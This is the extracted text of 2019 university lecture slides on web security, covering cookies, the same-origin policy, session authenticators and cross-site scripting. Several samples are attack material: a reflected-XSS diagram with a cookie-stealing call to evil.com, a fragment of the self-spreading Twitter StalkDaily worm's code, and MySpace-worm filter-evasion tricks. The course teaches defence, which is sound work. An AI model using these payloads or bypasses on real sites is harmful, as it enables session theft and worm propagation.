CSE 484 / CSE M 584: Computer Security and Privacy

Autumn 2019

Tadayoshi (Yoshi) Kohno
yoshi@cs.Washington.edu

Thanks to Dan Boneh, Dieter Gollmann, Dan Halperin, John Manferdelli, John Mitchell, Franzi Roesner, Vitaly Shmatikov, Bennet Yee, and many others for sample slides and materials...
Announcements

• My office hours
  – 11/6 (Wed), 1:30pm, CSE1 678
  – 11/13 (Wed), 11:30am, CSE1 403
  – 11/20 (Wed), 2:30pm, CSE1 403
  – 11/27 (Wed), None
  – 12/4 (Wed), 12:30pm, CSE1 403

• HW 2 available (due 11/15); extra late day if submitted by Saturday 5pm (11/9)

• Lab2 out; to be discussed at quiz section this week (11/7)

• Final Project checkpoint on Friday (11/8) (group members, brief description)
  – https://courses.cs.washington.edu/courses/cse484/19au/assignments/final_project.html
Review
Browser Cookies

- HTTP is stateless protocol
- **Browser cookies used to introduce state**
  - Websites can store small amount of info in browser
  - Used for authentication, personalization, tracking...
  - Cookies are often secrets

---

**POST login.php**

Username and pwd

**HTTP Header: Set-cookie:**

- login_token=13579;
- domain = (who can read);
- expires = (when expires)

---

**GET restricted.html**

Cookie: login_token=13579
Same Origin Policy: Cookie Reading

• Websites can only read/receive cookies from the same domain
  – Can’t steal login token for another site 😊
Which cookies can be set by \texttt{login.site.com}?

- **allowed domains**
  - \texttt{login.site.com}
  - \texttt{.site.com}

- **disallowed domains**
  - \texttt{othersite.com}
  - \texttt{.com}
  - \texttt{user.site.com}

\texttt{login.site.com} can set cookies for all of \texttt{.site.com} (domain suffix), but not for another site or top-level domain (TLD).
Problem: Who Set the Cookie?

Not a violation of the SOP!
End Review
Same-Origin Policy: Scripts
Same-Origin Policy: Scripts

• When a website **includes a script**, that script **runs in the context of the embedding website.**

```html
www.example.com

<script src="http://otherdomain.com/library.js"></script>
```

The code from [http://otherdomain.com](http://otherdomain.com) **can** access HTML elements and cookies on [www.example.com](http://www.example.com).

• If code in script sets cookie, under what origin will it be set?
• What could go wrong?
Foreshadowing:
SOP Does Not Control Sending

• A webpage can **send** information to any site
• Can use this to send out secrets...

• Example: leak info via image

```html
Cross-Origin Communication

- Sometimes you want to do it...
- HTML5 has additional support
- Cross-origin network requests
  - Access-Control-Allow-Origin: <list of domains>
    - Unfortunately, often:
      Access-Control-Allow-Origin: *
  - Generally browser responsibility to honor headers
What about Browser Plugins?

- **Examples:** Flash, Silverlight, Java, PDF reader
- **Goal:** enable functionality that requires transcending the browser sandbox
- **Increases browser’s attack surface

---

Java and Flash both vulnerable—again—to new 0-day attacks

Java bug is actively exploited. Flash flaws will likely be targeted soon.

by Dan Goodin (US) - Jul 13, 2015 9:11am PDT

- **Good news:** plugin sandboxing improving, and need for plugins decreasing (due to HTML5 and extensions)
News: Goodbye Flash

Get ready to finally say goodbye to Flash — in 2020

Posted Jul 25, 2017 by Frederic Lardinois (@fredericl)
What about Browser Extensions?

• Many things you use today are probably extensions
• **Examples:** AdBlock, Ghostery, Mailvelope
• **Goal:** Extend the functionality of the browser

• (Chrome:) Carefully designed security model to protect from malicious websites
  – **Privilege separation:** extensions consist of multiple components with well-defined communication
  – **Least privilege:** extensions request permissions
What about Browser Extensions?

• But be wary of malicious extensions: not subject to the same-origin policy – can inject code into any webpage!
Summary of Overview

• Browser security model (thus far)
  – Browser sandbox: isolate web from local machine
  – Same origin policy: isolate web content from different domains
  – Also: Isolation for plugins and extensions

• Web application security (next topic)
  – How (not) to build a secure website
Web Application Security
Dynamic Web Application

Browser

GET / HTTP/1.1

HTTP/1.1 200 OK

Web server

index.php

Database server

11/7/2019
OWASP Top 10 Web Vulnerabilities

1. Injection
2. Broken Authentication
3. Sensitive Data Exposure
4. XML External Entities
5. Broken Access Control
6. Security Misconfiguration
7. Cross-site Scripting (XSS)
8. Insecure Deserialization
9. Using Components with Known Vulnerabilities
10. Insufficient Logging and Monitoring
Web Session Management, and History
Reflections, from 2001

Dos and Don’ts of Client Authentication on the Web

Kevin Fu, Emil Sit, Kendra Smith, Nick Feamster
{fubob, sit, kendras, feamster}@mit.edu
MIT Laboratory for Computer Science
http://cookies.lcs.mit.edu/

Abstract

Client authentication has been a continuous source of problems on the Web. Although many well-studied techniques exist for authentication, Web sites continue to use extremely weak authentication schemes, especially in non-enterprise environments such as store fronts. These weaknesses often result from careless use of authenticators within Web cookies. Of the twenty-seven sites we investigated, we weakened the client authentication on two systems, gained unauthorized access on eight, and extracted the secret key used to mint authenticators from one.

We provide a description of the limitations, requirements, and security models specific to Web client authentication. This includes the introduction of the interrogative adversary, a surprisingly powerful adversary that can adaptively query a Web site.

We propose a set of hints for designing a secure client authentication scheme. Using these hints, we present the
Primitive Browser Session

Store session information in URL; easily read on network (if not using HTTPS)
Bad Idea: Encoding State in URL

- Unstable, frequently changing URLs
- Vulnerable to eavesdropping and modification
- There is no guarantee that URL is private
FatBrain.com circa 1999

• User logs into website with a password, authenticator is generated, user is given special URL containing the authenticator

https://www.fatbrain.com/HelpAccount.asp?t=0&p1=me@me.com&p2=540555758

  – With special URL, user doesn’t need to re-authenticate
    • Reasoning: user could not have known the special URL without authenticating first. That’s true, BUT...

• Authenticators are global sequence numbers
  – It’s easy to guess sequence number for another user
    https://www.fatbrain.com/HelpAccount.asp?t=0&p1=SomeoneElse&p2=540555752
  – Partial fix: use random authenticators
Typical Solution:
Web Authentication via Cookies

• Servers can use cookies to store state on client
  – When session starts, server computes an authenticator and gives it back to browser in the form of a cookie
  • Authenticators must be unforgeable and tamper-proof
    – Malicious client shouldn’t be able to compute his own or modify an existing authenticator
  • Example: MAC(server’s secret key, <more info>)
  • What should be that “more info”?
    – With each request, browser presents the cookie
    – Server recomputes and verifies the authenticator
      • Server does not need to remember the authenticator
Storing State in Hidden Forms

• Dansie Shopping Cart (2006)
  – “A premium, comprehensive, Perl shopping cart. Increase your web sales by making it easier for your web store customers to order.”

```html
<form method=POST action="http://www.dansie.net/cgi-bin/scripts/cart.pl">
  Something expensive<br>Price: $200.00<br>
  <input type=hidden name=name value="Something expensive">
  <input type=hidden name=price value="200.00">
  <input type=hidden name=sh value="1">
  <input type=hidden name=img value="something.jpg">
  <input type=hidden name=custom1 value="Something expensive">
  <input type=submit name="add" value="Put in Shopping Cart">
</form>
```

Fix: MAC client-side data, or, more likely, keep on server.

Q: What do you MAC?
Cross-Site Scripting (XSS)
PHP: Hypertext Processor

- Server scripting language with C-like syntax
- Can intermingle static HTML and code

```html
<input value="<?php echo $myvalue; ?>">
```

- Can embed variables in double-quote strings

```php
$user = "world"; echo "Hello $user!";
```

- Form data in global arrays $_GET, $_POST, ...

```php
or $user = "world"; echo "Hello" . $user . "!";
```
Echoing / “Reflecting” User Input

Classic mistake in server-side applications


search.php responds with
<html> <title>Search results</title>
<body>You have searched for <?php echo $_GET[term] ?>... </body>

Or

GET/ hello.cgi?name=Bob
hello.cgi responds with
<html>Welcome, dear Bob</html>
Echoing / “Reflecting” User Input

naive.com/hello.cgi?name=Bob

Welcome, dear Bob

Welcome, dear

Reflected XSS

• User is tricked into visiting an honest website
  – Phishing email, link in a banner ad, comment in a blog
• Bug in website code causes it to echo to the user’s browser an arbitrary attack script
  – The origin of this script is now the website itself!
• Script can manipulate website contents (DOM) to show bogus information, request sensitive data, control form fields on this page and linked pages, leak information, cause user’s browser to attack other websites
  – This violates the “spirit” of the same origin policy
Echoing / “Reflecting” User Input

naive.com/hello.cgi?name=Bob

Welcome, dear Bob

Welcome, dear

Cross-Site Scripting (XSS)

evil.com

Access some web page


Forces victim’s browser to call hello.cgi on naive.com with this script as “name”

GET/ steal.cgi?cookie=

GET/ hello.cgi?name=


Interpreted as JavaScript by victim’s browser; opens window and calls steal.cgi on evil.com

Hello, dear

Welcome!</HTML>

victim’s browser

naive.com
Where Malicious Scripts Lurk, and Stored XSS

- User-created content
  - Social sites, blogs, forums, wikis
- When visitor loads the page, website displays the content and visitor’s browser executes the script
  - Many sites try to filter out scripts from user content, but this is difficult!
Stored XSS

1. **Inject malicious script**
   - Attack server

2. **Receive malicious script**
   - User victim

3. **Request content**
   - User victim

4. **Store bad stuff**
   - Server victim

   **Stages:**
   - 4. Steal valuable data
   - 2. Request content
   - 3. Receive malicious script

   **Vulnerable:** Users view or download content

   **Roles:**
   - User victim
   - Attack server
   - Attacker
   - Server victim
Twitter Worm (2009)

- Can save URL-encoded data into Twitter profile
- Data **not** escaped when profile is displayed
- Result: StalkDaily XSS exploit
  - If view an infected profile, script infects your own profile

```javascript
var update = urlencode("Hey everyone, join www.StalkDaily.com. It's a site like Twitter but with pictures, videos, and so much more! ");
var ajaxConn = new XHConn();
ajaxConn.connect("/status/update", "POST",
"authenticity_token="+authtoken+"&status="+update+"&tab=home&update=update");
ajaxConn1.connect("/account/settings", "POST",
"authenticity_token="+authtoken+"&user[url]="+xss+"&tab=home&update=update")
```

Preventing Cross-Site Scripting

• Any user input and client-side data must be preprocessed before it is used inside HTML
• Remove / encode HTML special characters
  – Use a good escaping library
    • OWASP ESAPI (Enterprise Security API)
    • Microsoft’s AntiXSS
  – In PHP, htmlspecialchars(string) will replace all special characters with their HTML codes
    • ‘ becomes &\#039; “ becomes &quot; & becomes &amp;
  – In ASP.NET, Server.HtmlEncode(string)
Preventing Injection is Hard!

MySpace Worm (1)

- Users can post HTML on their MySpace pages
- MySpace does not allow scripts in users’ HTML
  - No `<script>`, `<body>`, `onclick`, `<a href=javascript://>`
- ... but does allow `<div>` tags for CSS.
  - `<div style="background:url(‘javascript:alert(1)’)">`
- But MySpace will strip out “javascript”
  - Use “java<NEWLINE>script” instead
- But MySpace will strip out quotes
  - Convert from decimal instead:
    `alert('double quote: ' + String.fromCharCode(34))`
MySpace Worm (2)

Resulting code:
MySpace Worm (3)

• “There were a few other complications and things to get around. This was not by any means a straight forward process, and none of this was meant to cause any damage or **** anyone off. This was in the interest of..interest. It was interesting and fun!”

• Started on “samy” MySpace page
• Everybody who visits an infected page, becomes infected and adds “samy” as a friend and hero
• 5 hours later “samy” has 1,005,831 friends
  – Was adding 1,000 friends per second at its peak